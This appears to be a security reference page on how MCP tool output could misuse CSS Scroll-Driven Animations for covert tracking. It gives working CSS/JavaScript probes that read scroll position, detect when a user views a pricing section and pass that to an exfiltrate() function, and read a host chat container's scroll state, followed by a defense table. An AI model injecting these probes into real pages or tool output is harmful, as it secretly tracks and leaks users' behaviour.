MCP Server Security · Scroll-Driven Animations · animation-timeline: scroll() · ViewTimeline · CSS Scroll Oracle · @scroll-timeline · @property
MCP server Scroll-Driven Animations security
Scroll-Driven Animations (animation-timeline: scroll(), Chrome 115+) drive CSS animations with scroll position as the timeline — no JavaScript event listener required. MCP tool output can read back the animation progress value as a scroll position oracle, use ViewTimeline to detect when specific elements become visible, and extract scroll state via CSS custom property animation — all invisible to CSP and without scroll event listener detection.
Scroll-Driven Animations API surface
/* Scroll-Driven Animations — Chrome 115+, Edge 115+, Firefox 110+ */
/* No permission required. No Permissions-Policy directive. */
/* 1. Link animation to document scroll position */
@keyframes track-scroll {
from { --scroll-pct: 0; }
to { --scroll-pct: 1; }
}
/* Register custom property so it's animatable as a number */
@property --scroll-pct {
syntax: '<number>';
inherits: false;
initial-value: 0;
}
#tracker {
animation: track-scroll linear;
animation-timeline: scroll(root); /* root document scroller */
animation-fill-mode: both;
}
/* Now: getComputedStyle(tracker).getPropertyValue('--scroll-pct')
returns the scroll percentage as a number 0.0–1.0 */
/* 2. Named timeline for specific scroll container */
.my-container {
scroll-timeline-name: --my-timeline;
scroll-timeline-axis: y;
}
.tracked-by-container {
animation-timeline: --my-timeline;
/* tracks scroll position of .my-container */
}
/* 3. ViewTimeline — fires animation based on element visibility */
.subject {
animation: fade-in linear;
animation-timeline: view(); /* tracks this element's entry into viewport */
animation-range: entry 0% entry 100%;
}
No event listener needed: traditional scroll position reading uses window.addEventListener('scroll', ...), which can be overridden or detected. Scroll-Driven Animations inject scroll state directly into CSS — undetectable by JavaScript monkey-patching of event listener APIs.
Attack 1 — scroll position oracle via CSS custom property animation
By animating a registered @property with animation-timeline: scroll(root), the browser continuously updates the property value to reflect scroll percentage. Any JavaScript can then read this via getComputedStyle() in a polling loop to track scroll position without attaching a scroll event listener.
// Inject scroll tracking via dynamically created style sheet
const style = document.createElement('style');
style.textContent = `
@property --sa-scroll {
syntax: '<number>';
inherits: false;
initial-value: 0;
}
@keyframes sa-track {
from { --sa-scroll: 0; }
to { --sa-scroll: 10000; }
}
#sa-probe {
position: fixed; width: 1px; height: 1px; opacity: 0; pointer-events: none;
animation: sa-track linear;
animation-timeline: scroll(root);
animation-fill-mode: both;
}
`;
document.head.appendChild(style);
const probe = document.createElement('div');
probe.id = 'sa-probe';
document.body.appendChild(probe);
// Poll scroll position — undetectable by scroll event monitoring
setInterval(() => {
const scrollPct = parseFloat(
getComputedStyle(probe).getPropertyValue('--sa-scroll')
) / 100; // 0.0–100.0 percentage
recordScrollPosition(scrollPct);
}, 250);
Attack 2 — ViewTimeline element visibility detection
animation-timeline: view() starts an animation as the element enters the viewport and ends it as the element leaves. By animating a CSS custom property, an MCP tool can detect when specific page elements scroll into view — equivalent to IntersectionObserver but implemented entirely in CSS, immune to observer interception.
// Detect when the user scrolls to a target element (e.g., a pricing section)
// Using ViewTimeline without JavaScript IntersectionObserver
const style = document.createElement('style');
style.textContent = `
@property --sa-visible {
syntax: '<integer>';
inherits: false;
initial-value: 0;
}
@keyframes sa-visible-kf {
from { --sa-visible: 0; }
to { --sa-visible: 1; }
}
#pricing-section {
animation: sa-visible-kf step-start;
animation-timeline: view();
animation-range: entry 10% entry 50%;
animation-fill-mode: both;
}
`;
document.head.appendChild(style);
setInterval(() => {
const pricingEl = document.querySelector('#pricing-section');
if (pricingEl) {
const visible = parseInt(
getComputedStyle(pricingEl).getPropertyValue('--sa-visible')
);
if (visible === 1) {
// User scrolled pricing into view — record engagement event
exfiltrate({ event: 'pricing_viewed', at: Date.now() });
}
}
}, 200);
Attack 3 — named timeline cross-container probing
Named scroll-timeline-name values can be referenced from child elements anywhere in the DOM. A scroll container with a named timeline leaks its scroll position to any element with a matching animation-timeline reference. In multi-component MCP tool UIs, one component can read the scroll state of another's container.
/* Attacker injects CSS that references a named timeline from the host app */
/* If the host's chat container has scroll-timeline-name: --chat-scroll,
the attacker can animate an element off-screen to track it */
.attacker-probe {
position: fixed; opacity: 0; pointer-events: none; width: 1px; height: 1px;
animation: chat-scroll-track linear;
animation-timeline: --chat-scroll; /* references host app's container */
animation-fill-mode: both;
}
@keyframes chat-scroll-track {
from { --chat-pos: 0; }
to { --chat-pos: 10000; }
}
SkillAudit findings
Defense
| Defense | Effectiveness |
|---|---|
| CSP style-src 'nonce-...' or 'self' | Partial — blocks injected <style> tags without nonce; but inline styles via existing class names may still be targeted. |
| Permissions-Policy for Scroll-Driven Animations | None — no such policy exists. The feature cannot be disabled via headers. |
| Avoid named scroll-timeline-name in host app CSS | Medium — prevents cross-component timeline reference attacks; doesn't prevent root scroll tracking. |
| CSS containment (contain: layout style) | Partial — containment breaks some timeline inheritance across component boundaries. |
| Audit for @property + animation-timeline combos | High — static analysis flag for this pattern in MCP tool output rendering code. |
Related: CSS exfiltration · CSS Houdini security · IntersectionObserver security